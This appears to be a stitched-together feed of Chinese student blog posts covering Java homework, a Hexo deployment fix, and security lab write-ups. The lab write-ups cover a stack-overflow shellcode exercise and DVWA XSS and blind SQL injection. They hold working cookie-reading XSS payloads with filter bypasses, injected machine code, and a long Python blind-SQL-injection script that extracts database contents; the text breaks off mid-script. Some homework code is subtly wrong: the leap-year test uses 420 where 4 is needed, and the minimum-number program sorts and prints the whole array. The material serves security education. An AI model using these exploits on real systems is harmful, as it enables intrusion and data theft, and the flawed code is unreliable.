package hw2;import java.util.*;public class three { public static void main(String[] args) { Scanner s=new Scanner(System.in); int n; System.out.println("请输入行数"); n=s.nextInt(); int x,y,z; for(x=1;x<=n;x++) { for(y=1;y<=n-x;y++) { System.out.print(" "); } for(z=1;z<=x;z++) { System.out.print("* "); } System.out.println(); } }}
打印出所有的“水仙花数”。所谓“水仙花数”是指一个三位数,其各位数字的立方和等于该数本身。例如153是一个“水仙花数”,因为153=13+53+33。
package hw2;import java.util.*;public class four { public static void main(String[] args) { //Scanner s=new Scanner(System.in); System.out.println("水仙花数为:"); int x; for(x=100;x<=999;x++) { double sum; sum=Math.pow(x/100,3)+Math.pow((x%100)/10,3)+Math.pow(x%10,3); if(sum==x) { System.out.println(x); } } }}
编写一个程序,从键盘读一个年份的数字,然后判断该年是否是闰年,如果是就输出“闰年”,如果不是就输出“非闰年”。
package hw2;import java.util.*;public class five { static boolean panduan(int x) { if(x%400==0) return true; if(x%420==0&&x%100!=0) return true; return false; } public static void main(String[] args) { Scanner s=new Scanner(System.in); System.out.println("请输入年份"); int year; year=s.nextInt(); if(panduan(year)) { System.out.println(year+"年 是闰年"); } else { System.out.println(year+"年 是非闰年"); } }}
统计个位数是6,并且能被3整除的五位数共有多少个。
package hw2;public class six { public static void main(String[] args) { int x; int sum=0; for(x=10000;x<=99999;x++) { if(x%10==6&&x%3==0) { sum++; } } System.out.println("个位数是6,并且能被3整除的五位数共有"+sum+"个"); }}
编写一个程序,在其中建立一个有10个整数的数组,运行后从键盘输入10个数,然后输出其中的最小数。
package hw2;import java.util.*;public class seven { public static void main(String[] args) { Scanner s=new Scanner(System.in); System.out.println("请输入10个数"); int a[]=new int[10]; int i; for(i=0;i<10;i++) { a[i]=s.nextInt(); } Arrays.sort(a); for(i=0;i<10;i++) { System.out.print(a[i]+"\t"); } }}
编写一个程序,在其中定义一个6´6的二维整型数组, 利用随机函数产生36个10~20之间的随机整数放入,然后将数组输出到屏幕上(6行6列格式)。最后计算出数组中对角线元素的平方根和。
package hw2;import java.util.*;public class erweishuzu { public static void main(String[] args) { int a[][]=new int[6][6]; int i,j; for(i=0;i<6;i++) { for(j=0;j<6;j++) { a[i][j]=(int)(10+Math.random()*10); System.out.print(a[i][j]+" "); } System.out.println(); } double sum=0; int l; for(l=0;l<6;l++) { sum=sum+Math.sqrt(a[l][l])+Math.sqrt(a[5-l][l]); } System.out.println("平方根和为:"+sum); }}
]]>今天hexo突然部署不了文章了,错误页面如下。
然后就去github仓库看了一下,发下之前的ssh key没了,重新设了一个也连接不上。最后找到一个方法。
在存放key的目录下新建config文件。
填入以下内容
Host github.comUser 你GitHub的邮箱Hostname ssh.github.comPreferredAuthentications publickeyIdentityFile ~/.ssh/id_rsaPort 443
然后用 ssh -T git@github.com
命令测试能否连接
如果没有出现ssh不能连接的话,忽略以上内容
接着回到博客的根目录
第一种方法:
删除.deploy_git文件
然后输入git config --gloabl core.autocrlf false
重新hexo clean
hexo g
hexo d
部署
但是发现好像只是一次性的。并不能永久解决
第二种方法:
打开_config.yml配置文件
修改以下内容
deploy:
type: git
repo: https://github.com/yourname/yourname.github.io.git
branch: master
其中的repo修改为
git@github.com:yourname/yourname.github.io.git
打开IDA找到判断跳转语句位置
修改跳转指令
应用到程序
运行结果:
正确密码显示错误,错误密码显示正确。
首先输入7个q看一下栈情况
authenticated的值是1
输入8个q
没有执行前,authenticated的值还是1
执行以后,值被覆盖为0
将跳转地址覆盖为验证通过的地址
用ultraedit编辑password文件,任意填充8字符覆盖password,4字符覆盖authenticated,4字符覆盖上一栈帧的ebp,填入4个字符返回地址。
再运行程序
程序与2的区别是增加了头文件windows.h,buff由8字节变成44字节,有足够空间填入代码。
找到buff地址和返回地址
找到messageboxA入口地址
#include <stdio.h>#include <windows.h>typedef void (*FuncPointer)(LPTSTR); // 函数指针 int main(){ HINSTANCE LibHandle; FuncPointer GetAddr; // 加载成功后返回库模块的句柄 LibHandle = LoadLibrary("user32"); printf("user32 LibHandle = 0x%X\n", LibHandle); // 返回动态链接库(DLL)中的输出库函数地址 GetAddr=(FuncPointer)GetProcAddress(LibHandle,"MessageBoxA"); printf("MessageBoxA = 0x%X\n", GetAddr); return 0;}
构造password
机器码 | 汇编指令 | 解释 |
---|---|---|
33DB | XOR EBX,EBX | 将EBX寄存器置为NULL |
53 | PUSH EBX | |
686A6F6B65 | PUSH 656b6f6a | Thisjoke |
6854686973 | PUSH 73696854 | |
8BC4 | MOV EAX,ESP | EAX里存入字符串指针 |
53 | PUSH EBX | |
50 | PUSH EAX | |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8301D3148 | MOV EAX,0x48311D30 | 调用MessageBoxA |
FFD0 | CALL EAX |
由于win10保护机制太强,没有办法显示messagebox
换到xp系统上实现
先找到messageboxA的入口地址
再找到buff起始地址
定位shellcode,找jmp esp指令
#include <windows.h>#include <stdio.h>#define DLL_NAME "user32.dll"main(){ BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } }}
定位exitprocess入口地址
#include <stdio.h>#include <windows.h>typedef void (*FuncPointer)(LPTSTR); // 函数指针 int main(){ HINSTANCE LibHandle; FuncPointer GetAddr; // 加载成功后返回库模块的句柄 LibHandle = LoadLibrary("kernel32"); printf("kernel32 LibHandle = 0x%X\n", LibHandle); // 返回动态链接库(DLL)中的输出库函数地址 GetAddr=(FuncPointer)GetProcAddress(LibHandle,"ExitProcess"); printf("ExitProcess = 0x%X\n", GetAddr); return 0;}
修改password文件
机器码 | 汇编指令 | 解释 |
---|---|---|
33DB | XOR EBX,EBX | 将EBX寄存器置为NULL |
53 | PUSH EBX | |
686A6F6B65 | PUSH 656b6f6a | Thisjoke |
6854686973 | PUSH 73696854 | |
8BC4 | MOV EAX,ESP | EAX里存入字符串指针 |
53 | PUSH EBX | |
50 | PUSH EAX | |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8EA07D577 | MOV EAX,0x77D507EA | 调用MessageBoxA |
FFD0 | CALL EAX | |
53 | PUSH EBX | |
B8A2BF817C | MOV EAX,0x7C81BFA2 | 调用exit(0) |
FFD0 | CALL EAX |
现在程序就可以正常退出
]]><?phpif( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();}?>
isset()
函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false
trim()
函数作用为移除字符串两侧空白字符或其他预定义字符
stripslashes()
函数用于删除字符串中的反斜杠
mysqli_real_escape_string()
函数会对字符串中的特殊号(\x00,\n,\r,\,',",\x1a)
进行转义
在代码中对message,name输入框内容 没有进行XSS方面的过滤和检查
且通过 query
语句插入到数据库中。所以存在存储型XSS漏洞
由于name和message输入框均存在xss。但name输入框有字符限制,这里可以使用burpsuite抓包修改name输入框内容:
<script>alert(document.cookie)</script>
由于提交的结果存储在数据库中,所以每次刷新页面,输入的恶意代码就会被执行一次
<?phpif( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();}?>
strip_tags()
函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用 <b>
标签。
addslashes()
函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()
函数把预定义的字符&、”、’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
对message输入内容进行检测过滤,因此无法再通过message参数注入XSS代码
但是对于name参数,只是简单过滤了<script>
字符串,仍然存在存储型的XSS。
抓包修改name输入内容:
<scr<script>ipt>alert(document.cookie)</script>
<sCript>alert(document.cookie)</script>
<IMG src=1 onerror=alert(document.cookie)>
由于low级别已经注入过,所以打开medium级别会直接弹出cookie
<?phpif( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();}?>
和上面两个级别一样,抓包修改name内容即可,代码对name输入内容利用正则匹配删除所有关于<script>
标签
抓包修改name内容为
<IMG src=1 onerror=alert(document.cookie)>
<?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}?>
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞 。
输入
<script>alert('xss')</script>
查看源码可以发现代码被解释执行了
输入
<script>alert(document.cookie)</script>
<?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";}?>
Medium级别的代码相对于Low级别的代码使用str_replace
函数将输入中的<script>
删除
<scr<script>ipt>alert(document.cookie)</script>
<sCript>alert(document.cookie)</script>
<IMG src=1 onerror=alert(document.cookie)>
结果:
<?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";}?>
可以看到High级别的代码使用了 preg_replace
函数执行一个正则表达式的搜索和替换,其中 /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
是正则表达式 (.*)
表示贪婪匹配,/i
表示不区分大小写所以在High级别的代码中,所有关于 <script>
标签均被过滤删除了
<script>
标签不管用了,但是可以使用其他标签绕过
输入
<IMG src=1 onerror=alert(document.cookie)>
SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
盲注中常用的几个函数:substr(a,b,c):从b位置开始,截取字符串a的c长度 count():计算总数 ascii():返回字符的ascii码 length():返回字符串的长度 left(a,b):从左往右截取字符串a的前b个字符 sleep(n):将程序挂起n秒
手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里只演示基于布尔的盲注与基于时间的盲注。
下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):1.判断是否存在注入,注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名4.猜解表中的字段名 5.猜解数据
<?phpif( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种:
User ID exists in the database.与 User ID is MISSING from the database.
所以这里是SQL盲注漏洞。
输入1 ,发现
输入 1’, 发现
观察到他这里只会出现正确或者错误的两种页面,判定他是一个布尔盲注
def get_database_length(self): self.database_length = 0 for i in range(1,30): self.process('get_database_length',i,30) theurl = self.url + "1' and length(database())={0}%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.database_length = i break if self.database_length > 0: print('\n==>',self.database_length) else: print("\ncan not get the database_length")
运行结果:
def check(self,text): if "User ID exists in the database." in text: return True elif "User ID is MISSING from the database." in text: return False
def get_database(self): self.database = '' for i in range(1,self.database_length+1): for j in self.zifuji: self.process(str(i) + ' get_database',j,self.database_length+1) theurl = self.url + "1' and ascii(substring(database(),{0},1))={1}%23".format(str(i),str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.database += chr(j) break if len(self.database) != i: self.database += '666' if len(self.database) > 0: print('\n==>',self.database) else: print("\n can not get the database")
运行结果:
def get_table_length(self): for i in range(1,50): self.process('get_table_length',i,50) theurl = self.url + "1' and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.table_length.append(i) break if self.table_length[0] > 0: print('\n==>',self.table_length) else: print('\ncan not get the table_length')
运行结果:
def get_table_name(self): name = '' for i in range(1,self.table_length[0]+1): for j in self.zifuji: self.process('{0} get_table_name'.format(i),j,50) theurl = self.url + "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})%23".format(str(i),str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) > 0: print('\n==>',name) self.table_name.append(name) else: print('\ncan not get the table_name')
运行结果:
def get_column_num(self,table_name): self.column_num = 0 for i in range(1,30): self.process('get_column_num',i,30) theurl = self.url + "1' and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.column_num = i break if self.column_num > 0: print('\n==>',self.column_num)
def get_column_length(self,table_name): for i in range(1,100): self.process('get_column_length',i,100) theurl = self.url + "1' and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.column_length.append(i) break if len(self.column_length) >= 1: print('\n==>',self.column_length) else: print('\ncan not get the column_length')
def get_column_name(self,table_name): name = '' for i in range(1,self.column_length[0]+1): for j in self.zifuji: self.process('{0} get_column_name'.format(str(i)),j,100) theurl = self.url + "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='{1}' having a={2})%23".format(str(i),table_name,str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) == self.column_length[0]: self.column_name.append(name) print('\n==>',self.column_name[0]) else: print('\ncan not get the column_name')
运行结果:
def get_word_num(self,table_name,column_name): for i in range(1,100): self.process('get_word_num',i,30) theurl = self.url + "1' and (select count({0}) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.word_num = i break if self.word_num > 0: print('\n==>',self.word_num) else: print('\ncan not get the word_num')
def get_word_length(self,table_name,column_name): for i in range(1,200): self.process('get_{0}_length'.format(column_name),i,200) theurl = self.url + "1' and (select length(group_concat({0})) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.word_length.append(i) break if len(self.word_length) >= 1: print('\n==>',self.word_length) else: print('\ncan not get the word length')
def get_word_name(self,table_name,column_name,word_num): name = '' for i in range(1,self.word_length[word_num]+1): for j in self.zifuji: self.process('get_{0}_name'.format(str(i)),j,100) theurl = self.url + "1' and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})%23".format(column_name,str(i),table_name,str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' self.word_name.append(name) print('\n==>',self.word_name[word_num])
运行结果:
<?phpif( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close();}?>
medium级别与low级别差不多, 将get方式改成post方式即可,数字型注入。
由于他会过滤单引号,所以需要转成16进制。
def tranhex(self,str1): result = '0x' for i in str1: result += hex(ord(i))[2:] return result
运行结果:
<?phpif( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
随便写个1提交
是一个cookie注入
def get_headers(self,payload): headers = { 'Cookie': "id={0}; security=high; PHPSESSID=ms11imgpftrmfcp27rmk9s006c".format(payload) }
运行结果:
from Injection import Injectiondef main(url): Injection(url).run()if __name__ == '__main__': url = "http://192.168.74.1/DVWA/vulnerabilities/sqli_blind/?id=" main(url
import requestsimport stringclass Injection: def __init__(self,url): self.url = url self.s = requests.session() self.zifuji = [44,48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 95, 45, 64, 33, 38, 36] self.headers = { 'Cookie': 'security=low; PHPSESSID=ms11imgpftrmfcp27rmk9s006c' } def process(self,yourstr,num1,num2): print("[+] Please wait ... {0} [{1}]/[{2}]".format(yourstr,str(num1),str(num2)),end='\r') def check(self,text): if "User ID exists in the database." in text: return True elif "User ID is MISSING from the database." in text: return False def run(self): self.get_itsnum() self.get_database_length() self.get_database() self.get_table_num() self.table_length = [] self.table_name = [] self.get_table_length() self.get_table_name() table_name = input('[-] table_name: ') self.get_column_num(table_name) self.column_length = [] self.column_name = [] self.get_column_length(table_name) self.get_column_name(table_name) column_names = input('[-] column_name: ').split(',') self.word_num = 0 self.get_word_num(table_name,column_names[0]) self.word_name = [] self.word_length = [] for i in range(len(column_names)): print(column_names[i]) self.get_word_length(table_name,column_names[i]) self.get_word_name(table_name,column_names[i],i) def get_itsnum(self): self.itsnum = 0 for i in range(1,50): self.process('get_itsnum',i,50) theurl = self.url + "1' order by {0}%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if not self.check(html): self.itsnum = i - 1 break if self.itsnum > 0: print('\n==>',self.itsnum) else: print("\ncan not get the itsnum") def get_database_length(self): self.database_length = 0 for i in range(1,30): self.process('get_database_length',i,30) theurl = self.url + "1' and length(database())={0}%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.database_length = i break if self.database_length > 0: print('\n==>',self.database_length) else: print("\ncan not get the database_length") def get_database(self): self.database = '' for i in range(1,self.database_length+1): for j in self.zifuji: self.process(str(i) + ' get_database',j,self.database_length+1) theurl = self.url + "1' and ascii(substring(database(),{0},1))={1}%23".format(str(i),str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.database += chr(j) break if len(self.database) != i: self.database += '666' if len(self.database) > 0: print('\n==>',self.database) else: print("\n can not get the database") def get_table_num(self): self.table_num = 0 for i in range(1,30): self.process('get_table_num',i,30) theurl = self.url + "1' and (select count(table_name)a from information_schema.tables where table_schema=database() having a={0})%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.table_num = i break if self.table_num > 0: print('\n==>',self.table_num) else: print("\ncan not get the table_num") def get_table_length(self): for i in range(1,50): self.process('get_table_length',i,50) theurl = self.url + "1' and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.table_length.append(i) break if self.table_length[0] > 0: print('\n==>',self.table_length) else: print('\ncan not get the table_length') def get_table_name(self): name = '' for i in range(1,self.table_length[0]+1): for j in self.zifuji: self.process('{0} get_table_name'.format(i),j,50) theurl = self.url + "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})%23".format(str(i),str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) > 0: print('\n==>',name) self.table_name.append(name) else: print('\ncan not get the table_name') def get_column_num(self,table_name): self.column_num = 0 for i in range(1,30): self.process('get_column_num',i,30) theurl = self.url + "1' and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.column_num = i break if self.column_num > 0: print('\n==>',self.column_num) def get_column_length(self,table_name): for i in range(1,100): self.process('get_column_length',i,100) theurl = self.url + "1' and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.column_length.append(i) break if len(self.column_length) >= 1: print('\n==>',self.column_length) else: print('\ncan not get the column_length') def get_column_name(self,table_name): name = '' for i in range(1,self.column_length[0]+1): for j in self.zifuji: self.process('{0} get_column_name'.format(str(i)),j,100) theurl = self.url + "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='{1}' having a={2})%23".format(str(i),table_name,str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) == self.column_length[0]: self.column_name.append(name) print('\n==>',self.column_name[0]) else: print('\ncan not get the column_name') def get_word_num(self,table_name,column_name): for i in range(1,100): self.process('get_word_num',i,30) theurl = self.url + "1' and (select count({0}) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.word_num = i break if self.word_num > 0: print('\n==>',self.word_num) else: print('\ncan not get the word_num') def get_word_length(self,table_name,column_name): for i in range(1,200): self.process('get_{0}_length'.format(column_name),i,200) theurl = self.url + "1' and (select length(group_concat({0})) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.word_length.append(i) break if len(self.word_length) >= 1: print('\n==>',self.word_length) else: print('\ncan not get the word length') def get_word_name(self,table_name,column_name,word_num): name = '' for i in range(1,self.word_length[word_num]+1): for j in self.zifuji: self.process('get_{0}_name'.format(str(i)),j,100) theurl = self.url + "1' and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})%23".format(column_name,str(i),table_name,str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' self.word_name.append(name) print('\n==>',self.word_name[word_num])
import requestsimport stringclass Injection: def __init__(self,url): self.url = url self.s = requests.session() self.zifuji = [44,48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 95, 45, 64, 33, 38, 36] self.headers = { 'Cookie': 'security=medium; PHPSESSID=ms11imgpftrmfcp27rmk9s006c' } def process(self,yourstr,num1,num2): print("[+] Please wait ... {0} [{1}]/[{2}]".format(yourstr,str(num1),str(num2)),end='\r') def check(self,text): if "User ID exists in the database." in text: return True elif "User ID is MISSING from the database." in text: return False def tranhex(self,str1): result = '0x' for i in str1: result += hex(ord(i))[2:] return result def run(self): self.get_itsnum() self.get_database_length() self.get_database() self.get_table_num() self.table_length = [] self.table_name = [] self.get_table_length() self.get_table_name() table_name = input('[-] table_name: ') self.get_column_num(table_name) self.column_length = [] self.column_name = [] self.get_column_length(table_name) self.get_column_name(table_name) column_names = input('[-] column_name: ').split(',') self.word_num = 0 self.get_word_num(table_name,column_names[0]) self.word_name = [] self.word_length = [] for i in range(len(column_names)): print(column_names[i]) self.get_word_length(table_name,column_names[i]) self.get_word_name(table_name,column_names[i],i) def get_itsnum(self): self.itsnum = 0 for i in range(1,50): self.process('get_itsnum',i,50) data = { 'id':"1 order by {0}".format(str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if not self.check(html): self.itsnum = i - 1 break if self.itsnum > 0: print('\n==>',self.itsnum) else: print("\ncan not get the itsnum") def get_database_length(self): self.database_length = 0 for i in range(1,30): self.process('get_database_length',i,30) data = { 'id':"1 and length(database())={0}".format(str(i)), 'Submit':'Submit', } html = 